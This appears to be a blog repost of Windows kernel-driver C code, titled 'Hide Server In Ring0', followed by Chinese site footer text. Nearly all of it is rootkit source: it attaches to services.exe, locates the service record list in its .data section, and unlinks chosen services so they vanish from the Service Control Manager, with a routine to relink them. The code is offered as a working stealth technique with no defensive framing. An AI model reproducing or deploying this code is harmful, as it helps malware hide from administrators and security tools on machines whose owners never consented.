Hide Server In Ring0

/*
     Another option who cost me a few nights...
     We hide a service by attaching to services.exe process.
     we need to manually find the service list entry (double-chained list) and
     to modify id.
     Thx to i.m.weasel for showing us this strong method to hide a service from
     the SC Manager :)
     http://www.rootkit.com/newsread.php?newsid=419
*/
typedef unsigned char BOOL;
PSERVICE_RECORD HiddenService[128];
ULONG NbHiddenServices=0;
// ptr to the first service
PSERVICE_RECORD srecord=NULL;
//#define PAGE_SIZE 4096
// get ptr to an EPROCESS struct from the name (i.m.weasel)
NTSTATUS GetEProcessByName(WCHAR *processname, PEPROCESS *proc)
{
NTSTATUS status;
PSYSTEM_PROCESS_INFORMATION info, curr;
ULONG info_size = PAGE_SIZE, result_size;
ULONG ProcessId = 0;
CLIENT_ID ClientId;
OBJECT_ATTRIBUTES ObjectAttributes;
PVOID Object;
ULONG length;
HANDLE Services_process;
*proc = NULL;

while(TRUE) {
    info = ExAllocatePool (NonPagedPool, info_size);
    if (info == NULL)
      return STATUS_NO_MEMORY;
     
    status = ZwQuerySystemInformation (
       5,                // process request
       info,
       info_size,
       &result_size);
      
    if( NT_SUCCESS(status) )
      break;
   
    ExFreePool(info);
   
     
    if( status != STATUS_INFO_LENGTH_MISMATCH )  
      return STATUS_NO_MEMORY;
    // otherwise, we need to allocate more memory
    info = NULL;
    info_size += PAGE_SIZE;
}
   
length = wcslen(processname);
curr = info;

do {
    if((curr->ProcessName.Length == (length * sizeof (WCHAR))) &&
        !memcmp(processname, curr->ProcessName.Buffer, curr->ProcessName.Length))
    {
      // it's our services.exe
      ProcessId = curr->ProcessId;
      break;
    }
   
   
    if(curr->NextEntryDelta)
       (PBYTE)curr += (curr->NextEntryDelta);
      
} while(curr->NextEntryDelta);

ExFreePool(info);
if (!ProcessId)
    return STATUS_NOT_FOUND;
InitializeObjectAttributes(
     &ObjectAttributes,
     NULL,
     OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
     0,
     0);

ClientId.UniqueProcess = (HANDLE)ProcessId;
ClientId.UniqueThread = 0;

status = ZwOpenProcess(
              &Services_process,
              PROCESS_ALL_ACCESS,
              &ObjectAttributes,
              &ClientId);
if ( !NT_SUCCESS(status) )
    return status;

status = ObReferenceObjectByHandle (
              Services_process,
              PROCESS_ALL_ACCESS,
              NULL,
              KernelMode,
              &Object,
              NULL);
             
ZwClose (Services_process);
if (!NT_SUCCESS(status))
    return status;
*proc = (PEPROCESS)Object;
return STATUS_SUCCESS;
}
// find a section in a module (i.m.weasel)
PIMAGE_SECTION_HEADER FindModuleSectionHdr(PVOID module, const char *section)
{
   PIMAGE_DOS_HEADER dos;
   PIMAGE_NT_HEADERS nth;
   PIMAGE_SECTION_HEADER sec;
   ULONG snlen, addr, i;
   if (!module)
      return NULL;
   dos     = (PIMAGE_DOS_HEADER) module;
   nth     = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)module);
   sec     = IMAGE_FIRST_SECTION(nth);
   snlen = strlen (section);
   for (i = 0; i < nth->FileHeader.NumberOfSections; i++, (PBYTE)sec+=sizeof(IMAGE_SECTION_HEADER)) {
      
     if (!_strnicmp (sec->Name, section, snlen))
      return sec;
   }
   return NULL;
}
// verify if the given ptr points to a valid address
BOOL IsGoodPtr( PVOID ptr, ULONG size )
{
   ULONG i = 0;
  
   for(i=0; i<size; i++)
      if( !MmIsAddressValid( (PULONG)ptr+i) )
         return FALSE;
        
   return TRUE;          
}
NTSTATUS HideFromSCManager(WCHAR *service)
{
NTSTATUS status;
PEPROCESS proc;
PROCESS_BASIC_INFORMATION pbi;
ULONG *ptr, *ptr2;
PPEB peb;
PIMAGE_SECTION_HEADER dsh; // data section headers
PSERVICE_RECORD curr, prev=NULL, next=NULL;
PVOID dsec;
ULONG ServiceNameLen, ServiceToHideNameLen, dsecsize, n, i;
  
if( NbHiddenServices >= 128 )
     return STATUS_UNSUCCESSFUL;
// we look for services.exe EPROCESS struct
status = GetEProcessByName (L"SERVICES.EXE", &proc);
if( !NT_SUCCESS(status) ) {
    status = GetEProcessByName (L"services.exe", &proc);
    if( !NT_SUCCESS(status) )
       return status;
}

// we attach to it :)
KeAttachProcess(proc);


// we get infos about current process
status = ZwQueryInformationProcess(NtCurrentProcess(),
     ProcessBasicInformation,
     &pbi,
     sizeof(pbi),
     0);

    
if( !NT_SUCCESS(status) ) {
     KeDetachProcess();
     return status;   
}

peb = pbi.PebBaseAddress;

// look for data section
dsh = FindModuleSectionHdr(peb->ImageBaseAddress, ".data");                 
                                                                                 
if( !dsh ) {
     KeDetachProcess();
     return STATUS_UNSUCCESSFUL;  
}


// get section size & offset
dsecsize = dsh->SizeOfRawData;
dsec = dsh->VirtualAddress + (PUCHAR)peb->ImageBaseAddress;

/*
      We have now to find the beginning of the service table in the .data section.
      As weasel said, to identify it, we look for a null ptr followed by a valid
      memory address.
*/

if( !srecord ) {
     for(ptr=(PULONG)dsec, n=dsecsize>>2; n ; n--,ptr++) {
     
        if( !IsGoodPtr(ptr, 2*sizeof(ULONG)) )
           continue;
    
        if ( (ptr[0] == 0UL) && // our null byte
             (ptr[1] != 0UL) &&
             (ptr[1] < (ULONG)MM_HIGHEST_USER_ADDRESS) &&
             !(ptr[1]&1))
        {
           if( IsGoodPtr(ptr, sizeof(SERVICE_RECORD)) ) {
          
           
              if( !MmIsAddressValid(&((PSERVICE_RECORD)ptr[1])->sErv))
                 continue;
          
              // we look for the sErv tag
              if( ((PSERVICE_RECORD)ptr[1])->PreviousServiceRecord == (PSERVICE_RECORD)ptr &&
                 ((PSERVICE_RECORD)ptr[1])->sErv == 'vrEs' ) {                      
                 srecord = (PSERVICE_RECORD)ptr;     
                 break;        
              }
           }
        }
     }    
}
if( !srecord ) {
     // :(
     KeDetachProcess();
     return STATUS_UNSUCCESSFUL;   
}

curr=srecord;
ServiceToHideNameLen = wcslen(service);

while( curr ) {
     if( curr->Lp_WideServiceName == NULL ) {
        curr = curr->NextServiceRecord;
        continue;
     }  
    
     ServiceNameLen = wcslen( curr->Lp_WideServiceName );
    
     if( ServiceToHideNameLen == ServiceNameLen &&
          !memcmp(curr->Lp_WideServiceName, service, (ServiceNameLen+1)*2))
     {
         
           // process to hide   
           next = curr->NextServiceRecord;
           prev = curr->PreviousServiceRecord;
          
  
           // we hide the service, like for DKOM
           _asm sti
          
           if(next)
              next->PreviousServiceRecord = prev;
           if(prev)
              prev->NextServiceRecord = next;
             
           // note that we can't hide the first service, we don't know
           // how to access the list right.
           _asm cli
           
           // we get data usefull to restore the service later
           HiddenService[NbHiddenServices] = curr;
           NbHiddenServices++;
      }
     
      curr = curr->NextServiceRecord;     
}
KeDetachProcess();
return status;
}

NTSTATUS UnhideFromSCManager()
{
NTSTATUS status;
PEPROCESS proc;
ULONG i;
PSERVICE_RECORD prev, next;
if( !NbHiddenServices )
     // no hidden services
     return STATUS_SUCCESS;
// on ouvre comme avant notre services.exe
status = GetEProcessByName (L"SERVICES.EXE", &proc);
if( !NT_SUCCESS(status) ) {
    status = GetEProcessByName (L"services.exe", &proc);
    if( !NT_SUCCESS(status) )
       return status;
}
// we attach to process
KeAttachProcess(proc);

__asm cli
for(i=0; i<NbHiddenServices; i++) {   
    
     next = HiddenService[i]->NextServiceRecord;
     prev = HiddenService[i]->PreviousServiceRecord;
          
     // we relink the service
     if( prev )
        prev->NextServiceRecord = HiddenService[i];
     if( next )
        next->PreviousServiceRecord = HiddenService[i];     
               
}
__asm sti
KeDetachProcess();
return status;
}
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值